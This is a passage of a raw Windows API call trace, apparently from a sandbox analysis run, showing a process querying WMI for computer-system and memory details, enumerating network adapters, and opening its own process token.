riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbb680 | out: ppvObject=0x1afbb680*=0x0) returned 0x80004002 [0170.144] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201b38, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb670 | out: ppvObject=0x1afbb670*=0x1b201a18) returned 0x0 [0170.145] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b201a18, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbb698 | out: pCid=0x1afbb698*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0170.145] WbemLocator:IUnknown:Release (This=0x1b201a18) returned 0x3 [0170.145] CoGetContextToken (in: pToken=0x1afbb720 | out: pToken=0x1afbb720) returned 0x0 [0170.145] CoGetContextToken (in: pToken=0x1afbbba0 | out: pToken=0x1afbbba0) returned 0x0 [0170.145] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201b38, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbc60 | out: ppvObject=0x1afbbc60*=0x1b201b00) returned 0x0 [0170.145] WbemLocator:IRpcOptions:Query (in: This=0x1b201b00, pPrx=0x1b201b38, dwProperty=2, pdwValue=0x1afbbc50 | out: pdwValue=0x1afbbc50) returned 0x80004002 [0170.145] WbemLocator:IUnknown:Release (This=0x1b201b00) returned 0x3 [0170.145] WbemLocator:IUnknown:Release (This=0x1b201b38) returned 0x2 [0170.145] CoGetContextToken (in: pToken=0x1afbc260 | out: pToken=0x1afbc260) returned 0x0 [0170.145] CoGetContextToken (in: pToken=0x1afbc160 | out: pToken=0x1afbc160) returned 0x0 [0170.145] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201b38, riid=0x1afbc2c0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1afbc290 | out: ppvObject=0x1afbc290*=0x1b22df80) returned 0x0 [0170.145] IUnknown:AddRef (This=0x1b22df80) returned 0x4 [0170.145] IUnknown:Release (This=0x1b22df80) returned 0x3 [0170.145] IUnknown:Release (This=0x1b22df80) returned 0x2 [0170.145] IUnknown:Release (This=0x1b22da40) returned 0x2 [0170.145] SysStringLen (param_1=0x0) returned 0x0 [0170.145] IEnumWbemClassObject:Reset (This=0x1b22df80) returned 0x0 [0170.146] CoTaskMemAlloc (cb=0x8) returned 0x1b1dd440 [0170.146] IEnumWbemClassObject:Next (in: This=0x1b22df80, lTimeout=-1, uCount=0x1, apObjects=0x1b1dd440, puReturned=0x2af9cb8 | out: apObjects=0x1b1dd440*=0x1b2387e0, puReturned=0x2af9cb8*=0x1) returned 0x0 [0170.154] IUnknown:QueryInterface (in: This=0x1b2387e0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbb50 | out: ppvObject=0x1afbbb50*=0x1b2387e0) returned 0x0 [0170.154] IUnknown:QueryInterface (in: This=0x1b2387e0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbbbe0 | out: ppvObject=0x1afbbbe0*=0x0) returned 0x80004002 [0170.154] IUnknown:QueryInterface (in: This=0x1b2387e0, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbb800 | out: ppvObject=0x1afbb800*=0x0) returned 0x80004002 [0170.154] IUnknown:QueryInterface (in: This=0x1b2387e0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbb3d8 | out: ppvObject=0x1afbb3d8*=0x0) returned 0x80004002 [0170.155] IUnknown:AddRef (This=0x1b2387e0) returned 0x3 [0170.155] IUnknown:QueryInterface (in: This=0x1b2387e0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbb298 | out: ppvObject=0x1afbb298*=0x0) returned 0x80004002 [0170.155] IUnknown:QueryInterface (in: This=0x1b2387e0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbb220 | out: ppvObject=0x1afbb220*=0x0) returned 0x80004002 [0170.155] IUnknown:QueryInterface (in: This=0x1b2387e0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb210 | out: ppvObject=0x1afbb210*=0x1b2387e8) returned 0x0 [0170.155] IMarshal:GetUnmarshalClass (in: This=0x1b2387e8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbb238 | out: pCid=0x1afbb238*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0170.155] IUnknown:Release (This=0x1b2387e8) returned 0x3 [0170.155] CoGetContextToken (in: pToken=0x1afbb2c0 | out: pToken=0x1afbb2c0) returned 0x0 [0170.155] CoGetContextToken (in: pToken=0x1afbb740 | out: pToken=0x1afbb740) returned 0x0 [0170.155] IUnknown:QueryInterface (in: This=0x1b2387e0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb800 | out: ppvObject=0x1afbb800*=0x0) returned 0x80004002 [0170.155] IUnknown:Release (This=0x1b2387e0) returned 0x2 [0170.155] CoGetContextToken (in: pToken=0x1afbbe00 | out: pToken=0x1afbbe00) returned 0x0 [0170.155] CoGetContextToken (in: pToken=0x1afbbd00 | out: pToken=0x1afbbd00) returned 0x0 [0170.155] IUnknown:QueryInterface (in: This=0x1b2387e0, riid=0x1afbbe60*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1afbbe30 | out: ppvObject=0x1afbbe30*=0x1b2387e0) returned 0x0 [0170.155] IUnknown:AddRef (This=0x1b2387e0) returned 0x4 [0170.155] IUnknown:Release (This=0x1b2387e0) returned 0x3 [0170.155] IUnknown:Release (This=0x1b2387e0) returned 0x2 [0170.155] CoTaskMemFree (pv=0x1b1dd440) [0170.155] CoGetContextToken (in: pToken=0x1afbc1d0 | out: pToken=0x1afbc1d0) returned 0x0 [0170.155] IUnknown:AddRef (This=0x1b2387e0) returned 0x3 [0170.155] IWbemClassObject:Get (in: This=0x1b2387e0, wszName="__GENUS", lFlags=0, pVal=0x1afbc790*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1afbc8b8*=0, plFlavor=0x1afbc8b0*=0 | out: pVal=0x1afbc790*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1afbc8b8*=3, plFlavor=0x1afbc8b0*=64) returned 0x0 [0170.156] IWbemClassObject:Get (in: This=0x1b2387e0, wszName="__PATH", lFlags=0, pVal=0x1afbc740*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1afbc870*=0, plFlavor=0x1afbc868*=0 | out: pVal=0x1afbc740*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\CIMV2:Win32_ComputerSystem.Name=\"XC64ZB\"", varVal2=0x0), pType=0x1afbc870*=8, plFlavor=0x1afbc868*=64) returned 0x0 [0170.156] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_ComputerSystem.Name=\"XC64ZB\"") returned 0x6c [0170.156] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_ComputerSystem.Name=\"XC64ZB\"") returned 0x6c [0170.156] CoGetObjectContext (in: riid=0x2569d10*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbc7b8 | out: ppv=0x1afbc7b8*=0x77dd58) returned 0x0 [0170.156] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1afbc7a8 | out: pAptType=0x1afbc7a8*=1) returned 0x0 [0170.156] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x2569cf0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1afbc7b0 | out: ppvObject=0x1afbc7b0*=0x0) returned 0x80004002 [0170.156] IUnknown:Release (This=0x77dd58) returned 0x1 [0170.157] CoGetClassObject (in: rclsid=0x1b1c9aa8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbbba8 | out: ppv=0x1afbbba8*=0x1b227be0) returned 0x0 [0170.157] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b227be0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbbc90 | out: ppvObject=0x1afbbc90*=0x0) returned 0x80004002 [0170.157] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b227be0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbc68 | out: ppvObject=0x1afbbc68*=0x1b232ea0) returned 0x0 [0170.157] WbemDefPath:IUnknown:Release (This=0x1b227be0) returned 0x0 [0170.157] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b232ea0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbba10 | out: ppvObject=0x1afbba10*=0x1b232ea0) returned 0x0 [0170.157] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b232ea0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbbaa0 | out: ppvObject=0x1afbbaa0*=0x0) returned 0x80004002 [0170.157] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b232ea0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbb298 | out: ppvObject=0x1afbb298*=0x0) returned 0x80004002 [0170.157] WbemDefPath:IUnknown:AddRef (This=0x1b232ea0) returned 0x3 [0170.157] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b232ea0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbb158 | out: ppvObject=0x1afbb158*=0x0) returned 0x80004002 [0170.158] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b232ea0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbb0e0 | out: ppvObject=0x1afbb0e0*=0x0) returned 0x80004002 [0170.158] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b232ea0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb0d0 | out: ppvObject=0x1afbb0d0*=0x1b227d00) returned 0x0 [0170.158] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b227d00, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbb0f8 | out: pCid=0x1afbb0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0170.158] WbemDefPath:IUnknown:Release (This=0x1b227d00) returned 0x3 [0170.158] CoGetContextToken (in: pToken=0x1afbb180 | out: pToken=0x1afbb180) returned 0x0 [0170.158] CoGetContextToken (in: pToken=0x1afbb600 | out: pToken=0x1afbb600) returned 0x0 [0170.158] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b232ea0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb6c0 | out: ppvObject=0x1afbb6c0*=0x0) returned 0x80004002 [0170.158] WbemDefPath:IUnknown:Release (This=0x1b232ea0) returned 0x2 [0170.158] WbemDefPath:IUnknown:Release (This=0x1b232ea0) returned 0x1 [0170.158] CoGetContextToken (in: pToken=0x1afbc3f0 | out: pToken=0x1afbc3f0) returned 0x0 [0170.158] CoGetContextToken (in: pToken=0x1afbc2f0 | out: pToken=0x1afbc2f0) returned 0x0 [0170.158] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b232ea0, riid=0x1afbc450*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1afbc420 | out: ppvObject=0x1afbc420*=0x1b232ea0) returned 0x0 [0170.158] WbemDefPath:IUnknown:AddRef (This=0x1b232ea0) returned 0x3 [0170.158] WbemDefPath:IUnknown:Release (This=0x1b232ea0) returned 0x2 [0170.158] WbemDefPath:IWbemPath:SetText (This=0x1b232ea0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\CIMV2:Win32_ComputerSystem.Name=\"XC64ZB\"") returned 0x0 [0170.158] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b232ae0, puCount=0x1afbc7d8 | out: puCount=0x1afbc7d8*=0x2) returned 0x0 [0170.158] WbemDefPath:IWbemPath:GetText (in: This=0x1b232ae0, lFlags=4, puBuffLength=0x1afbc7d0*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc7d0*=0xf, pszText=0x0) returned 0x0 [0170.158] WbemDefPath:IWbemPath:GetText (in: This=0x1b232ae0, lFlags=4, puBuffLength=0x1afbc7d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc7d0*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0170.158] CoGetContextToken (in: pToken=0x1afbc5a0 | out: pToken=0x1afbc5a0) returned 0x0 [0170.158] WbemLocator:IUnknown:Release (This=0x1b201b38) returned 0x1 [0170.158] IUnknown:Release (This=0x1b22df80) returned 0x0 [0170.164] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b232ae0, puCount=0x1afbc888 | out: puCount=0x1afbc888*=0x2) returned 0x0 [0170.164] WbemDefPath:IWbemPath:GetText (in: This=0x1b232ae0, lFlags=4, puBuffLength=0x1afbc880*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc880*=0xf, pszText=0x0) returned 0x0 [0170.164] WbemDefPath:IWbemPath:GetText (in: This=0x1b232ae0, lFlags=4, puBuffLength=0x1afbc880*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc880*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0170.164] IWbemClassObject:Get (in: This=0x1b2387e0, wszName="TotalPhysicalMemory", lFlags=0, pVal=0x1afbc840*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2afa958*=0, plFlavor=0x2afa95c*=0 | out: pVal=0x1afbc840*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2146938880", varVal2=0x0), pType=0x2afa958*=21, plFlavor=0x2afa95c*=0) returned 0x0 [0170.164] SysStringByteLen (bstr="2146938880") returned 0x14 [0170.164] SysStringByteLen (bstr="2146938880") returned 0x14 [0170.164] IWbemClassObject:Get (in: This=0x1b2387e0, wszName="TotalPhysicalMemory", lFlags=0, pVal=0x1afbc890*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2afa958*=21, plFlavor=0x2afa95c*=0 | out: pVal=0x1afbc890*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2146938880", varVal2=0x0), pType=0x2afa958*=21, plFlavor=0x2afa95c*=0) returned 0x0 [0170.164] SysStringByteLen (bstr="2146938880") returned 0x14 [0170.164] SysStringByteLen (bstr="2146938880") returned 0x14 [0170.170] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b232ae0, puCount=0x1afbc888 | out: puCount=0x1afbc888*=0x2) returned 0x0 [0170.170] WbemDefPath:IWbemPath:GetText (in: This=0x1b232ae0, lFlags=4, puBuffLength=0x1afbc880*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc880*=0xf, pszText=0x0) returned 0x0 [0170.171] WbemDefPath:IWbemPath:GetText (in: This=0x1b232ae0, lFlags=4, puBuffLength=0x1afbc880*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc880*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0170.171] IWbemClassObject:Get (in: This=0x1b2387e0, wszName="TotalPhysicalMemory", lFlags=0, pVal=0x1afbc840*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2afb028*=0, plFlavor=0x2afb02c*=0 | out: pVal=0x1afbc840*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2146938880", varVal2=0x0), pType=0x2afb028*=21, plFlavor=0x2afb02c*=0) returned 0x0 [0170.171] SysStringByteLen (bstr="2146938880") returned 0x14 [0170.171] SysStringByteLen (bstr="2146938880") returned 0x14 [0170.171] IWbemClassObject:Get (in: This=0x1b2387e0, wszName="TotalPhysicalMemory", lFlags=0, pVal=0x1afbc890*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2afb028*=21, plFlavor=0x2afb02c*=0 | out: pVal=0x1afbc890*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2146938880", varVal2=0x0), pType=0x2afb028*=21, plFlavor=0x2afb02c*=0) returned 0x0 [0170.171] SysStringByteLen (bstr="2146938880") returned 0x14 [0170.171] SysStringByteLen (bstr="2146938880") returned 0x14 [0170.280] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x1afbc678 | out: pFixedInfo=0x0, pOutBufLen=0x1afbc678) returned 0x6f [0170.435] LocalAlloc (uFlags=0x0, uBytes=0x258) returned 0x1b24b4f0 [0170.436] GetNetworkParams (in: pFixedInfo=0x1b24b4f0, pOutBufLen=0x1afbc678 | out: pFixedInfo=0x1b24b4f0, pOutBufLen=0x1afbc678) returned 0x0 [0170.448] LocalFree (hMem=0x1b24b4f0) returned 0x0 [0170.451] GetAdaptersAddresses (in: Family=0x0, Flags=0xc0, Reserved=0x0, AdapterAddresses=0x0, SizePointer=0x1afbc970*=0x0 | out: AdapterAddresses=0x0, SizePointer=0x1afbc970*=0x1168) returned 0x6f [0170.456] LocalAlloc (uFlags=0x0, uBytes=0x1168) returned 0x1b24d760 [0170.456] GetAdaptersAddresses (in: Family=0x0, Flags=0xc0, Reserved=0x0, AdapterAddresses=0x1b24d760, SizePointer=0x1afbc970*=0x1168 | out: AdapterAddresses=0x1b24d760*(Alignment=0x6000001c0, Length=0x1c0, IfIndex=0x6, Next=0x1b24dd20, AdapterName="{E96D977E-F067-4CE9-924D-F6E0A04729E4}", FirstUnicastAddress=0x1b24d9d0, FirstAnycastAddress=0x0, FirstMulticastAddress=0x1b24da80, FirstDnsServerAddress=0x1b24dcc0, DnsSuffix="", Description="Intel(R) 82574L Gigabit Network Connection #2", FriendlyName="Ethernet 2", PhysicalAddress=([0]=0x0, [1]=0x5, [2]=0x80, [3]=0x53, [4]=0x16, [5]=0x19, [6]=0x0, [7]=0x0), PhysicalAddressLength=0x6, Flags=0x1c5, DdnsEnabled=0x1c5, RegisterAdapterSuffix=0x1c5, Dhcpv4Enabled=0x1c5, ReceiveOnly=0x1c5, NoMulticast=0x1c5, Ipv6OtherStatefulConfig=0x1c5, NetbiosOverTcpipEnabled=0x1c5, Ipv4Enabled=0x1c5, Ipv6Enabled=0x1c5, Ipv6ManagedAddressConfigurationSupported=0x1c5, Mtu=0x5dc, IfType=0x6, OperStatus=0x1, Ipv6IfIndex=0x6, ZoneIndices=([0]=0x6, [1]=0x6, [2]=0x6, [3]=0x6, [4]=0x1, [5]=0x1, [6]=0x1, [7]=0x1, [8]=0x1, [9]=0x1, [10]=0x1, [11]=0x1, [12]=0x1, [13]=0x1, [14]=0x0, [15]=0x1), FirstPrefix=0x0, TransmitLinkSpeed=0x3b9aca00, ReceiveLinkSpeed=0x3b9aca00, FirstWinsServerAddress=0x0, FirstGatewayAddress=0x1b24dcf0, Ipv4Metric=0xa, Ipv6Metric=0xa, Luid=0x6008002000000, Dhcpv4Server.lpSockaddr=0x1b24d920*(sa_family=2, sin_port=0x0, sin_addr="192.168.0.1"), Dhcpv4Server.iSockaddrLength=16, CompartmentId=0x1, NetworkGuid=0x11eb6c9dc20d55b0, ConnectionType=0x1, TunnelType=0x0, Dhcpv6Server.lpSockaddr=0x0, Dhcpv6Server.iSockaddrLength=0, Dhcpv6ClientDuid=([0]=0x0, [1]=0x1, [2]=0x0, [3]=0x1, [4]=0x28, [5]=0xb6, [6]=0x28, [7]=0x5e, [8]=0x0, [9]=0xf, [10]=0xf3, [11]=0xe1, [12]=0x61, [13]=0x38, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0), Dhcpv6ClientDuidLength=0xe, Dhcpv6Iaid=0x6000ff3, FirstDnsSuffix=0x0), SizePointer=0x1afbc970*=0x1168) returned 0x0 [0170.484] GetPerAdapterInfo (in: IfIndex=0x6, pPerAdapterInfo=0x0, pOutBufLen=0x1afbc388 | out: pPerAdapterInfo=0x0, pOutBufLen=0x1afbc388) returned 0x6f [0170.514] LocalAlloc (uFlags=0x0, uBytes=0x70) returned 0x1b22e2e0 [0170.515] GetPerAdapterInfo (in: IfIndex=0x6, pPerAdapterInfo=0x1b22e2e0, pOutBufLen=0x1afbc388 | out: pPerAdapterInfo=0x1b22e2e0, pOutBufLen=0x1afbc388) returned 0x0 [0170.523] LocalFree (hMem=0x1b22e2e0) returned 0x0 [0170.524] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x1afbc388 | out: pPerAdapterInfo=0x0, pOutBufLen=0x1afbc388) returned 0x6f [0170.531] LocalAlloc (uFlags=0x0, uBytes=0x70) returned 0x1b22ffe0 [0170.531] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1b22ffe0, pOutBufLen=0x1afbc388 | out: pPerAdapterInfo=0x1b22ffe0, pOutBufLen=0x1afbc388) returned 0x0 [0170.545] LocalFree (hMem=0x1b22ffe0) returned 0x0 [0170.547] LocalFree (hMem=0x1b24d760) returned 0x0 [0171.033] RoGetParameterizedTypeInstanceIID () returned 0x0 [0171.034] Ro::detail::SimpleMetaDataBuilder::SetParameterizedInterface () returned 0x0 [0171.034] Ro::detail::SimpleMetaDataBuilder::SetParameterizedInterface () returned 0x0 [0177.073] GetCurrentProcess () returned 0xffffffffffffffff [0177.074] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1afbd0b8 | out: TokenHandle=0x1afbd0b8*=0x6b0) returned 1 [0177.078] GetCurrentProcess () returned 0xffffffffffffffff [0177.078] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1afbd0c8 | out: 